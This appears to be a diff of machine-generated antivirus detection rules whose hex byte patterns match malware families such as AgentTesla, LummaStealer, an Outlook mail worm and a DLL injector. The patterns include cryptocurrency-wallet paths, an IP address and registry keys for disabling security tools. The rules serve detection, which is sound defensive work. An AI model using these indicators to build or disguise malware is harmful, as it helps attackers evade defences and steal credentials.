@@ rule _InfrastructureShared_27882{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16692) >=2 } -rule _InfrastructureShared_27883{ +rule _InfrastructureShared_29622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -363472,7 +386159,7 @@ rule _InfrastructureShared_27883{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*19720+(#a_01_4 & 1)*24832+(#a_01_5 & 1)*0) >=2 } -rule _InfrastructureShared_27884{ +rule _InfrastructureShared_29623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -363484,7 +386171,7 @@ rule _InfrastructureShared_27884{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28530+(#a_01_3 & 1)*28955) >=4 } -rule _InfrastructureShared_27885{ +rule _InfrastructureShared_29624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -363498,7 +386185,7 @@ rule _InfrastructureShared_27885{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*24940+(#a_01_3 & 1)*13621+(#a_01_4 & 1)*1536) >=5 } -rule _InfrastructureShared_27886{ +rule _InfrastructureShared_29625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -363515,7 +386202,7 @@ rule _InfrastructureShared_27886{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12895+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0+(#a_01_6 & 1)*17166+(#a_01_7 & 1)*10+(#a_01_8 & 1)*10) >=9 } -rule _InfrastructureShared_27887{ +rule _InfrastructureShared_29626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -363531,7 +386218,7 @@ rule _InfrastructureShared_27887{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13875+(#a_01_2 & 1)*29249+(#a_01_3 & 1)*70+(#a_01_4 & 1)*24832+(#a_01_5 & 1)*0+(#a_01_8 & 1)*114) >=9 } -rule _InfrastructureShared_27888{ +rule _InfrastructureShared_29627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -363543,7 +386230,7 @@ rule _InfrastructureShared_27888{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*109+(#a_01_3 & 1)*24937) >=30 } -rule _InfrastructureShared_27889{ +rule _InfrastructureShared_29628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 08 00 21 " @@ -363555,7 +386242,7 @@ rule _InfrastructureShared_27889{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*28684+(#a_01_5 & 1)*115) >=3 } -rule _InfrastructureShared_27890{ +rule _InfrastructureShared_29629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -363568,7 +386255,7 @@ rule _InfrastructureShared_27890{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_27891{ +rule _InfrastructureShared_29630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -363583,7 +386270,7 @@ rule _InfrastructureShared_27891{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26988+(#a_01_2 & 1)*27765+(#a_01_3 & 1)*12340+(#a_01_4 & 1)*25972+(#a_01_5 & 1)*26977) >=6 } -rule _InfrastructureShared_27892{ +rule _InfrastructureShared_29631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 06 00 21 " @@ -363598,7 +386285,7 @@ rule _InfrastructureShared_27892{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17986+(#a_01_2 & 1)*28783+(#a_01_3 & 1)*9472+(#a_01_4 & 1)*28448+(#a_01_5 & 1)*8292) >=9 } -rule _InfrastructureShared_27893{ +rule _InfrastructureShared_29632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -363611,7 +386298,7 @@ rule _InfrastructureShared_27893{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*18766+(#a_01_2 & 1)*24941+(#a_01_3 & 1)*8292) >=30 } -rule _InfrastructureShared_27894{ +rule _InfrastructureShared_29633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -363622,7 +386309,7 @@ rule _InfrastructureShared_27894{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28013) >=1 } -rule _InfrastructureShared_27895{ +rule _InfrastructureShared_29634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -363634,7 +386321,7 @@ rule _InfrastructureShared_27895{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28015+(#a_01_2 & 1)*112) >=3 } -rule _InfrastructureShared_27896{ +rule _InfrastructureShared_29635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -363646,7 +386333,7 @@ rule _InfrastructureShared_27896{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*110+(#a_01_3 & 1)*22330) >=4 } -rule _InfrastructureShared_27897{ +rule _InfrastructureShared_29636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -363654,27 +386341,38 @@ rule _InfrastructureShared_27897{ $a_01_0 = {46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 52 21 4d 54 42 00 01 00 19 5c 53 6f 66 74 77 61 72 65 5c 6b 75 61 69 7a 69 70 5c 49 6e 73 74 61 6c 6c 01 00 0c 74 6a 2e 67 6c 7a 69 70 } //16675 㩆啐䅁癤牥楴楳杮场湩㈳䬯慵婩灩刮䴡䉔Āᤀ卜景睴牡履畫楡楺屰湉瑳污Ŭఀ橴朮穬灩 $a_01_1 = {6d 01 00 0c 74 6a 31 2e 37 36 35 34 2e 63 6f 6d 01 00 15 78 79 6e 6f 74 65 2e 73 68 7a 68 61 6e 6d 65 6e 67 2e 63 6f 6d 01 00 15 6d 69 6e 69 5f 6e 65 77 73 5f 73 6b 69 6e 5f 61 64 2e 64 6c 6c 01 00 0d 6b 75 61 69 7a 69 70 72 65 70 6f 72 74 00 00 61 ab 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 4f } //25390 $a_01_2 = {6f 6f 6b 4d 61 69 6c 00 01 00 26 4f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 2e 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 01 00 18 41 00 64 00 64 00 72 00 65 00 73 00 73 00 4c 00 69 00 73 00 74 00 73 00 01 00 1c 41 00 64 00 64 00 72 00 65 00 73 00 73 00 45 00 6e 00 74 00 72 00 69 00 65 00 73 00 01 } //29813 - $a_01_3 = {00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 01 00 06 41 00 64 00 64 00 00 00 61 ab 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //5632 - $a_01_4 = {73 6c 61 2e 41 4d 34 35 21 4d 54 42 00 01 00 09 47 65 74 53 74 72 69 6e 67 01 00 08 54 6f 53 74 72 69 6e 67 01 00 0c 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 08 47 65 74 50 69 78 65 6c 01 00 07 54 6f 57 69 6e 33 32 01 00 0a 67 65 74 5f 48 65 69 67 68 74 01 00 09 67 65 74 5f 57 69 64 74 68 0a 00 25 24 } //21620 - $a_01_5 = {38 36 33 33 64 2d 61 37 65 39 2d 34 34 30 33 2d 62 32 37 30 2d 31 33 65 66 39 37 66 62 63 64 32 62 00 00 61 ab 00 00 14 00 14 00 03 00 21 23 42 4d 5f 41 54 3a 46 69 6c 65 } //13110 + $a_01_3 = {00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 01 00 06 41 00 64 00 64 00 00 00 61 ab 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c } //5632 + $a_01_4 = {21 4d 54 42 00 05 00 27 28 05 00 00 06 0a 06 28 14 00 00 0a 0b 07 72 01 00 00 70 28 06 00 00 06 28 15 00 00 0a 0c 08 02 28 04 00 00 06 00 2a 01 00 29 43 3a 5c 52 65 73 65 74 5c 50 65 70 65 72 6f 6e 69 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 48 41 73 36 36 37 38 2e } //19758 + $a_01_5 = {01 00 2b 43 3a 5c 52 65 73 65 74 5c 50 65 70 65 72 6f 6e 69 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 41 66 7a 66 7a 36 37 38 37 2e 70 64 62 00 00 61 ab 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 34 35 21 4d 54 42 00 01 } //25712 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25390+(#a_01_2 & 1)*29813+(#a_01_3 & 1)*5632+(#a_01_4 & 1)*21620+(#a_01_5 & 1)*13110) >=4 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25390+(#a_01_2 & 1)*29813+(#a_01_3 & 1)*5632+(#a_01_4 & 1)*19758+(#a_01_5 & 1)*25712) >=4 } -rule _InfrastructureShared_27898{ +rule _InfrastructureShared_29637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " strings : $a_01_0 = {54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 4f 75 74 6c 6f 6f 6b 4d 61 69 6c 00 01 00 26 4f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 2e 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 01 00 18 41 00 64 00 64 00 72 00 65 00 73 00 73 } //18467 - $a_01_2 = {00 74 00 73 00 01 00 1c 41 00 64 00 64 00 72 00 65 00 73 00 73 00 45 00 6e 00 74 00 72 00 69 00 65 00 73 00 01 00 16 41 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 01 00 06 41 00 64 00 64 00 00 00 61 ab 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 34 } //105 - $a_01_3 = {54 42 00 01 00 09 47 65 74 53 74 72 69 6e 67 01 00 08 54 6f 53 74 72 69 6e 67 01 00 0c 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 08 47 65 74 50 69 78 65 6c 01 00 07 54 6f 57 69 6e 33 32 01 00 0a 67 65 74 5f 48 65 69 67 68 74 01 00 } //8501 - $a_01_4 = {74 5f 57 69 64 74 68 0a 00 25 24 36 33 39 38 36 33 33 64 2d 61 37 65 39 2d 34 34 30 33 2d 62 32 37 30 2d 31 33 65 66 39 37 66 62 63 64 32 62 00 00 61 ab 00 00 14 00 14 00 03 00 21 23 42 4d 5f 41 54 3a 46 69 6c 65 5a 69 6c 6c 61 00 0a 00 4a 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 } //26377 + $a_01_2 = {00 74 00 73 00 01 00 1c 41 00 64 00 64 00 72 00 65 00 73 00 73 00 45 00 6e 00 74 00 72 00 69 00 65 00 73 00 01 00 16 41 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 01 00 06 41 00 64 00 64 00 00 00 61 ab 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 4d 58 21 4d 54 42 00 05 00 } //105 + $a_01_3 = {00 00 06 0a 06 } //10279 condition: - ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*105+(#a_01_3 & 1)*8501+(#a_01_4 & 1)*26377) >=5 + ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*105+(#a_01_3 & 1)*10279) >=5 } -rule _InfrastructureShared_27899{ +rule _InfrastructureShared_29638{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 4d 58 21 4d 54 42 00 05 00 27 28 05 00 00 06 0a 06 28 14 00 00 0a 0b 07 72 01 00 00 70 28 06 00 00 06 28 15 00 00 0a 0c 08 02 28 04 00 00 06 00 2a 01 00 29 43 3a 5c 52 } //16675 + $a_01_1 = {74 5c 50 65 70 65 72 6f 6e 69 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 48 41 73 36 36 37 38 2e 70 64 62 01 00 2b 43 3a 5c 52 65 73 65 74 5c 50 65 70 65 72 6f 6e 69 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 41 66 7a 66 7a 36 37 38 37 2e 70 64 62 00 00 61 ab 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 } //29541 + $a_01_2 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 34 35 21 4d 54 42 00 01 00 09 47 65 74 53 74 72 69 6e 67 01 00 08 54 6f 53 74 72 69 6e 67 01 00 0c 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 08 47 65 74 50 69 78 65 6c 01 00 07 54 6f 57 69 6e 33 32 01 00 0a 67 65 74 5f 48 65 69 67 } //27247 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29541+(#a_01_2 & 1)*27247) >=6 + +} +rule _InfrastructureShared_29639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -363684,12 +386382,12 @@ rule _InfrastructureShared_27899{ $a_01_3 = {00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 20 00 46 00 54 00 50 00 20 00 43 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 2c 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 00 46 00 69 00 6c 00 65 00 5a } //68 $a_01_5 = {00 61 00 0a 00 12 54 00 69 00 6d 00 20 00 4b 00 6f 00 73 00 73 00 65 00 00 00 61 ac 00 00 07 00 07 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 47 41 21 4d 53 52 00 02 00 37 6e 74 6f 73 6b 72 6e 6c 5c 44 65 73 6b 74 6f 70 5c 53 74 65 61 6c 65 72 5c 53 74 65 61 6c 65 72 53 74 75 } //108 $a_01_6 = {65 6c 65 61 73 65 5c 73 38 65 72 6c 30 2e 70 64 62 02 00 05 71 6f 62 61 31 02 00 0f 31 38 35 2e 32 31 35 2e 31 31 33 2e 32 30 31 01 00 18 41 70 70 44 61 74 61 5c 45 6c 65 63 74 72 75 6d 5c 77 61 6c 6c 65 74 73 01 00 10 41 70 70 44 61 74 61 5c 62 } //23650 - $a_01_7 = {63 6f 69 6e 00 00 61 ac 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 7a 79 2e 41 52 41 21 4d 54 42 00 02 00 14 53 00 46 00 43 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 02 00 14 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 43 00 4d 00 44 00 02 00 28 44 00 69 00 73 } //29817 + $a_01_7 = {63 6f 69 6e 00 00 61 ac 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 50 50 31 34 00 01 00 0d 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 61 63 74 69 76 65 5f 6f 66 66 65 72 01 00 13 43 68 72 6f 6d 65 4f 66 66 65 72 56 69 } //29817 condition: ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*21511+(#a_01_3 & 1)*68+(#a_01_5 & 1)*108+(#a_01_6 & 1)*23650+(#a_01_7 & 1)*29817) >=17 } -rule _InfrastructureShared_27900{ +rule _InfrastructureShared_29640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 03 00 21 " @@ -363701,21 +386399,36 @@ rule _InfrastructureShared_27900{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*32+(#a_01_2 & 1)*32) >=20 } -rule _InfrastructureShared_27901{ +rule _InfrastructureShared_29641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " strings : $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 47 41 21 4d 53 52 00 02 00 37 6e 74 6f 73 6b 72 6e 6c 5c 44 65 73 6b 74 6f 70 5c 53 74 65 61 6c 65 72 5c 53 74 65 61 6c 65 72 53 74 75 62 } //21539 - $a_01_1 = {6c 65 61 73 65 5c 73 38 65 72 6c 30 2e 70 64 62 02 00 05 71 6f 62 61 31 02 00 0f 31 38 35 2e 32 31 35 2e 31 31 33 2e 32 30 31 01 00 18 41 70 70 44 61 74 61 5c 45 6c 65 63 74 72 75 6d 5c 77 61 6c 6c 65 74 73 01 00 10 41 70 70 44 61 74 61 5c 62 79 74 65 63 6f 69 6e 00 00 61 ac 00 00 0a 00 0a 00 05 00 21 } //21084 - $a_01_2 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 7a 79 2e 41 52 41 21 4d 54 42 00 02 00 14 53 00 46 00 43 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 02 00 14 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 43 00 4d 00 44 00 02 00 28 } //16675 - $a_01_3 = {00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 54 00 6f 00 6f 00 6c 00 73 00 02 00 1c 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 02 00 0a 56 00 69 00 72 00 75 00 73 00 00 00 61 ad 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //68 - $a_01_4 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 52 54 56 21 4d 54 42 00 01 00 7b 06 72 fb 0e 00 70 6f 64 00 00 0a 75 04 00 00 1b 0b 72 05 0f 00 70 0c 07 8e 69 0d 08 6f a1 00 00 0a 13 04 09 18 5a 1f 16 58 13 08 2b 49 11 08 09 5d 13 } //14958 + $a_01_1 = {6c 65 61 73 65 5c 73 38 65 72 6c 30 2e 70 64 62 02 00 05 71 6f 62 61 31 02 00 0f 31 38 35 2e 32 31 35 2e 31 31 33 2e 32 30 31 01 00 18 41 70 70 44 61 74 61 5c 45 6c 65 63 74 72 75 6d 5c 77 61 6c 6c 65 74 73 01 00 10 41 70 70 44 61 74 61 5c 62 79 74 65 63 6f 69 6e 00 00 61 ac 00 00 07 00 07 00 07 00 21 } //21084 + $a_01_2 = {46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 50 50 31 34 00 01 00 0d 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 61 63 74 69 76 65 5f 6f 66 66 65 72 01 00 13 43 68 72 6f 6d 65 4f 66 } //16675 + $a_01_3 = {56 69 65 77 2e 63 70 70 01 00 10 50 6c 61 79 61 57 72 61 70 70 65 72 2e 63 70 70 01 00 08 50 6c 61 79 61 53 44 4b 01 00 11 73 6f 64 61 2d 6c 61 75 6e 63 68 65 72 2e 65 78 65 01 00 14 53 6f 64 61 50 44 46 44 65 73 6b 74 6f 70 31 34 2e 65 78 65 00 00 61 ac 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 7a } //25958 + $a_01_4 = {52 41 21 4d 54 42 00 02 00 14 53 00 46 00 43 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 02 00 14 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 43 00 4d 00 44 00 02 00 28 44 00 69 00 73 00 61 00 62 } //11897 condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*21084+(#a_01_2 & 1)*16675+(#a_01_3 & 1)*68+(#a_01_4 & 1)*14958) >=7 + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*21084+(#a_01_2 & 1)*16675+(#a_01_3 & 1)*25958+(#a_01_4 & 1)*11897) >=7 } -rule _InfrastructureShared_27902{ +rule _InfrastructureShared_29642{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " + + strings : + $a_01_0 = {46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 50 50 31 34 00 01 00 0d 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 61 63 74 69 76 65 5f 6f 66 66 65 72 01 00 13 43 68 72 6f 6d 65 4f 66 } //16675 + $a_01_1 = {56 69 65 77 2e 63 70 70 01 00 10 50 6c 61 79 61 57 72 61 70 70 65 72 2e 63 70 70 01 00 08 50 6c 61 79 61 53 44 4b 01 00 11 73 6f 64 61 2d 6c 61 75 6e 63 68 65 72 2e 65 78 65 01 00 14 53 6f 64 61 50 44 46 44 65 73 6b 74 6f 70 31 34 2e 65 78 65 00 00 61 ac 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 7a } //25958 + $a_01_2 = {52 41 21 4d 54 42 00 02 00 14 53 00 46 00 43 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 02 00 14 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 43 00 4d 00 44 00 02 00 28 44 00 69 00 73 00 61 00 62 } //11897 + $a_01_4 = {00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 54 00 6f 00 6f 00 6c 00 73 00 02 00 1c 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 02 00 0a 56 00 69 00 72 00 75 00 73 00 00 00 61 ad 00 00 01 00 01 00 01 00 21 } //101 + $a_01_5 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 52 54 56 21 4d 54 42 00 01 00 7b 06 72 fb 0e 00 70 6f 64 00 00 0a 75 04 00 00 1b 0b 72 05 0f 00 70 0c 07 8e 69 0d 08 6f a1 00 00 0a 13 04 09 18 5a 1f 16 58 13 08 2b 49 } //18467 + $a_01_6 = {5d 13 09 11 08 11 04 5d 13 } //2065 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25958+(#a_01_2 & 1)*11897+(#a_01_4 & 1)*101+(#a_01_5 & 1)*18467+(#a_01_6 & 1)*2065) >=7 + +} +rule _InfrastructureShared_29643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 05 00 21 " @@ -363729,7 +386442,7 @@ rule _InfrastructureShared_27902{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*68+(#a_01_2 & 1)*14958+(#a_01_3 & 1)*4361+(#a_01_4 & 1)*5009) >=10 } -rule _InfrastructureShared_27903{ +rule _InfrastructureShared_29644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -363739,7 +386452,7 @@ rule _InfrastructureShared_27903{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27904{ +rule _InfrastructureShared_29645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 01 00 04 00 21 " @@ -363752,7 +386465,7 @@ rule _InfrastructureShared_27904{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22056+(#a_01_2 & 1)*1+(#a_01_3 & 1)*19525) >=1 } -rule _InfrastructureShared_27905{ +rule _InfrastructureShared_29646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 01 00 04 00 21 " @@ -363765,7 +386478,7 @@ rule _InfrastructureShared_27905{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*112+(#a_01_2 & 1)*26967+(#a_01_3 & 1)*30305) >=1 } -rule _InfrastructureShared_27906{ +rule _InfrastructureShared_29647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -363775,12 +386488,12 @@ rule _InfrastructureShared_27906{ $a_01_2 = {6e 3e 00 00 04 00 61 ad 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 4c 6f 61 64 65 72 2e 4d 58 21 4d 54 42 00 01 00 0d 44 4c 4c 20 74 6f 20 69 6e 6a 65 63 74 01 00 0a 49 6e 6a 65 63 74 20 44 4c 4c 05 00 60 48 00 4b 00 43 00 55 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 43 00 6c 00 61 00 } //28526 $a_01_3 = {00 65 00 73 00 5c 00 6d 00 73 00 2d 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 6f 00 70 00 65 00 6e 00 5c 00 63 00 6f 00 6d 00 00 00 61 ad 00 00 14 00 14 00 04 00 21 23 42 4d 5f 41 54 3a 52 65 6d 6f 74 65 44 65 73 74 6f 70 41 70 70 00 0a 00 14 52 64 43 6c 69 65 6e 74 2e 57 69 6e 64 6f 77 73 2e } //115 $a_01_4 = {0a 00 15 52 48 42 69 6e 64 65 72 5f 5f 53 68 69 6d 45 78 65 4d 61 69 6e 0a 00 28 52 00 64 00 43 00 6c 00 69 00 65 00 6e 00 74 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 65 00 78 00 65 00 0a 00 30 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 52 00 65 00 6d 00 6f 00 74 00 65 00 20 00 44 00 65 00 } //27748 - $a_01_5 = {00 74 00 6f 00 70 00 00 00 61 ae 00 00 01 00 01 00 0b 00 21 23 48 53 54 52 3a 50 69 6e 62 61 6c 6c 5f 4e 61 6d 65 73 00 01 00 09 41 70 70 4b 69 6b 78 53 41 01 00 07 4c 68 6f 6f 74 53 41 01 00 0a 4d 6f 73 73 79 53 6b 79 53 41 01 00 08 53 65 65 71 44 6f 53 41 01 00 08 4c 75 6b 79 4c 75 53 41 01 00 11 42 6c 75 65 54 75 72 } //115 + $a_01_5 = {00 74 00 6f 00 70 00 00 00 61 ae 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 5a 45 21 4d 54 42 00 01 00 7b 66 41 3b c5 75 06 66 44 89 2b eb 60 b9 0d 00 00 00 66 89 44 24 78 66 89 0b 49 8b 04 e8 48 8d 0c f8 8a 44 34 78 88 44 31 3a 48 ff c6 49 } //115 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20053+(#a_01_2 & 1)*28526+(#a_01_3 & 1)*115+(#a_01_4 & 1)*27748+(#a_01_5 & 1)*115) >=5 } -rule _InfrastructureShared_27907{ +rule _InfrastructureShared_29648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -363791,18 +386504,29 @@ rule _InfrastructureShared_27907{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*102) >=6 } -rule _InfrastructureShared_27908{ +rule _InfrastructureShared_29649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " strings : $a_01_0 = {5f 41 54 3a 52 65 6d 6f 74 65 44 65 73 74 6f 70 41 70 70 00 0a 00 14 52 64 43 6c 69 65 6e 74 2e 57 69 6e 64 6f 77 73 2e 64 6c 6c 0a 00 15 52 48 42 69 6e 64 65 72 5f 5f 53 68 69 6d 45 78 65 4d 61 69 6e 0a 00 28 52 00 64 00 43 00 6c } //16931 - $a_01_2 = {00 74 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 65 00 78 00 65 00 0a 00 30 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 52 00 65 00 6d 00 6f 00 74 00 65 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 00 00 61 ae 00 00 